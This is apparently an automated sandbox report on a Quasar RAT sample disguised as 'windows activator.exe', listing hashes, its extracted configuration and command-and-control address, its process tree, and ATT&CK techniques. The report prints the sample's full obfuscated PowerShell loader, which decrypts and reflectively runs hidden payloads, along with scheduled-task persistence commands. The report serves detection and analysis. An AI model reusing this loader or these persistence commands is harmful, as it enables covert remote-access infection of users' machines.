quasar | 42b218f71d22359c1d67630be541516113e82e3c897c3bb9fd41743406583dfc

General

Target

windows activator.exe
Size

6.3MB
MD5

17031c953e0b0ca9aa96a37721e090c1
SHA1

ce3de870acf307e7761244fd7ee3523c513e844c
SHA256

42b218f71d22359c1d67630be541516113e82e3c897c3bb9fd41743406583dfc
SHA512

8d203439404fd22defa189d0f6d23ed8009b26b72bfbe8c3eb21b464a2d2cd4380bb69ca4c335fce093d8f65489f74cf46a20efdbd3b3f6b6dcedb42e8b4fea6
SSDEEP

49152:fRaU3QDzbAdXO3z0sqPUJg8E9bM/M6FPoE0oolmCNFhg5wo8T:

Score

10^/10

quasar steamhelper execution spyware trojan

Malware Config

Extracted

Family

quasar

Attributes

reconnect_delay
3000

Extracted

Family

quasar

Version

1.4.1

Botnet

SteamHelper

C2

192.168.10.149:4782

Mutex

e4aae33b-e31c-49fd-b689-bef88dbb5ec5

Attributes

encryption_key
AAC6E8ABF533EB37C22C1AA75BAA0CE9F73D90CC
install_name
Client.exe
log_directory
Logs
reconnect_delay
3000
startup_key
SteamHelper
subdirectory
SteamHelper

Signatures

Quasar RAT
Quasar is an open source Remote Access Tool.
trojan spyware quasar

Quasar payload 4 IoCs

Processes:

resource	yara_rule
behavioral1/memory/4136-21-0x0000014C533A0000-0x0000014C537EE000-memory.dmp	family_quasar
behavioral1/memory/4136-24-0x0000014C53900000-0x0000014C53C24000-memory.dmp	family_quasar
C:\Users\Admin\AppData\Local\Temp\Build.exe	family_quasar
behavioral1/memory/2156-35-0x00000000003D0000-0x00000000006F4000-memory.dmp	family_quasar

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

4136 powershell.exe
Executes dropped EXE 3 IoCs

Processes:

Build.exeClient.exeClient.exe

pid process

2156 Build.exe
1712 Client.exe
2408 Client.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

2056 schtasks.exe
4080 schtasks.exe
3836 schtasks.exe
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exeBuild.exe

pid process

4136 powershell.exe
4136 powershell.exe
2156 Build.exe
Suspicious use of AdjustPrivilegeToken 3 IoCs

Processes:

powershell.exeBuild.exeClient.exe

description pid process

Token: SeDebugPrivilege 4136 powershell.exe
Token: SeDebugPrivilege 2156 Build.exe
Token: SeDebugPrivilege 2408 Client.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

Client.exe

pid process

2408 Client.exe
Suspicious use of SendNotifyMessage 1 IoCs

Processes:

Client.exe

pid process

2408 Client.exe

pid	process
4136	powershell.exe

pid	process
2156	Build.exe
1712	Client.exe
2408	Client.exe

pid	process
2056	schtasks.exe
4080	schtasks.exe
3836	schtasks.exe

pid	process
4136	powershell.exe
4136	powershell.exe
2156	Build.exe

description	pid	process
Token: SeDebugPrivilege	4136	powershell.exe
Token: SeDebugPrivilege	2156	Build.exe
Token: SeDebugPrivilege	2408	Client.exe

pid	process
2408	Client.exe

pid	process
2408	Client.exe

Suspicious use of WriteProcessMemory 16 IoCs

Processes:

windows activator.execmd.exepowershell.exeBuild.exeClient.exe

description	pid	process	target process
PID 4012 wrote to memory of 3508	4012	windows activator.exe	cmd.exe
PID 4012 wrote to memory of 3508	4012	windows activator.exe	cmd.exe
PID 3508 wrote to memory of 4136	3508	cmd.exe	powershell.exe
PID 3508 wrote to memory of 4136	3508	cmd.exe	powershell.exe
PID 4136 wrote to memory of 2156	4136	powershell.exe	Build.exe
PID 4136 wrote to memory of 2156	4136	powershell.exe	Build.exe
PID 4136 wrote to memory of 2056	4136	powershell.exe	schtasks.exe
PID 4136 wrote to memory of 2056	4136	powershell.exe	schtasks.exe
PID 4136 wrote to memory of 1712	4136	powershell.exe	Client.exe
PID 4136 wrote to memory of 1712	4136	powershell.exe	Client.exe
PID 2156 wrote to memory of 4080	2156	Build.exe	schtasks.exe
PID 2156 wrote to memory of 4080	2156	Build.exe	schtasks.exe
PID 2156 wrote to memory of 2408	2156	Build.exe	Client.exe
PID 2156 wrote to memory of 2408	2156	Build.exe	Client.exe
PID 2408 wrote to memory of 3836	2408	Client.exe	schtasks.exe
PID 2408 wrote to memory of 3836	2408	Client.exe	schtasks.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\windows activator.exe
"C:\Users\Admin\AppData\Local\Temp\windows activator.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\rOrLjfLC.bat" "
2⤵
- Suspicious use of WriteProcessMemory
PID:3508

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('hdkJBfBlsIzwEuKc5tc59H2oaxpJyThISRfXjC/OPSI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('MWrbNbgaRmd+FxNbZ2vnGw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $AcKnJ=New-Object System.IO.MemoryStream(,$param_var); $pkUiw=New-Object System.IO.MemoryStream; $FEHZG=New-Object System.IO.Compression.GZipStream($AcKnJ, [IO.Compression.CompressionMode]::Decompress); $FEHZG.CopyTo($pkUiw); $FEHZG.Dispose(); $AcKnJ.Dispose(); $pkUiw.Dispose(); $pkUiw.ToArray();}function execute_function($param_var,$param2_var){ $agOjz=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $bqvtC=$agOjz.EntryPoint; $bqvtC.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\rOrLjfLC.bat';$eKLKE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\rOrLjfLC.bat').Split([Environment]::NewLine);foreach ($wGqDp in $eKLKE) { if ($wGqDp.StartsWith(':: ')) { $YRdnq=$wGqDp.Substring(3); break; }}$payloads_var=[string[]]$YRdnq.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4136

C:\Users\Admin\AppData\Local\Temp\Build.exe
"C:\Users\Admin\AppData\Local\Temp\Build.exe"
4⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2156

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "SteamHelper" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SteamHelper\Client.exe" /rl HIGHEST /f
5⤵
- Creates scheduled task(s)
PID:4080

C:\Users\Admin\AppData\Roaming\SteamHelper\Client.exe
"C:\Users\Admin\AppData\Roaming\SteamHelper\Client.exe"
5⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:2408

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "SteamHelper" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SteamHelper\Client.exe" /rl HIGHEST /f
6⤵
- Creates scheduled task(s)
PID:3836

C:\Windows\SYSTEM32\schtasks.exe
"schtasks" /create /tn "SteamHelper" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SteamHelper\Client.exe" /rl HIGHEST /f
4⤵
- Creates scheduled task(s)
PID:2056

C:\Users\Admin\AppData\Roaming\SteamHelper\Client.exe
"C:\Users\Admin\AppData\Roaming\SteamHelper\Client.exe"
4⤵
- Executes dropped EXE
PID:1712

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\Desktop\GroupGet.vbs"
1⤵
PID:3420

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

Scheduled Task/Job

Persistence

Scheduled Task/Job

1

T1053

Privilege Escalation

Scheduled Task/Job

1

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\Build.exe

Filesize
3.1MB

MD5
f4e8ba6e5317afb76d2824cd66fd0ee5

SHA1
9b5c76df487b31be7406462fb7b47f92ddbc2913

SHA256
04d6d049461760e618b83991580b42bc4155e4bd26fae20dd6c0f20ac68f2eb5

SHA512
1083bfff342f8d36f3deb903451f13fe715ae6e9cd033930ac513f8948adfdefe7d438807c80d1f6bdf101f9392e31b8e1e228b443bed2982a3af4ac37098bce

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_if1csvx0.sts.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\rOrLjfLC.bat

Filesize
3.1MB

MD5
51b5548935bfd857ad4a98e333b40ef9

SHA1
d64d0b52ca6509d845a2f5f21fa369cd9d35ee54

SHA256
3c876931344be9fe538108a08177525ca7783dc999691bfced8f364beb0de8bf

SHA512
74fe7c8e219f6f17528f7f3a48081e5bac0579935f751f3d16db377060746a390d9f92be66caa87ea9c378b701548ed1475f29dc578a416738725281ad8a93c0

Download Submit
C:\Users\Admin\AppData\Roaming\SteamHelper\Client.exe

Filesize
440KB

MD5
0e9ccd796e251916133392539572a374

SHA1
eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204

SHA256
c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221

SHA512
e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d

Download Submit
memory/2156-35-0x00000000003D0000-0x00000000006F4000-memory.dmp

Filesize
3.1MB

Download
memory/2408-50-0x000000001C940000-0x000000001C9F2000-memory.dmp

Filesize
712KB

Download
memory/2408-49-0x000000001C830000-0x000000001C880000-memory.dmp

Filesize
320KB

Download
memory/4012-1-0x00000000009E0000-0x0000000001028000-memory.dmp

Filesize
6.3MB

Download
memory/4012-0-0x00007FF9FFCC3000-0x00007FF9FFCC5000-memory.dmp

Filesize
8KB

Download
memory/4136-15-0x0000014C4B020000-0x0000014C4B042000-memory.dmp

Filesize
136KB

Download
memory/4136-21-0x0000014C533A0000-0x0000014C537EE000-memory.dmp

Filesize
4.3MB

Download
memory/4136-24-0x0000014C53900000-0x0000014C53C24000-memory.dmp

Filesize
3.1MB

Download
memory/4136-20-0x0000014C32BC0000-0x0000014C32BC8000-memory.dmp

Filesize
32KB

Download
memory/4136-19-0x00007FF9FFCC0000-0x00007FFA00782000-memory.dmp

Filesize
10.8MB

Download
memory/4136-18-0x00007FF9FFCC0000-0x00007FFA00782000-memory.dmp

Filesize
10.8MB

Download
memory/4136-17-0x00007FF9FFCC0000-0x00007FFA00782000-memory.dmp

Filesize
10.8MB

Download
memory/4136-16-0x00007FF9FFCC0000-0x00007FFA00782000-memory.dmp

Filesize
10.8MB

Download
memory/4136-51-0x00007FF9FFCC0000-0x00007FFA00782000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads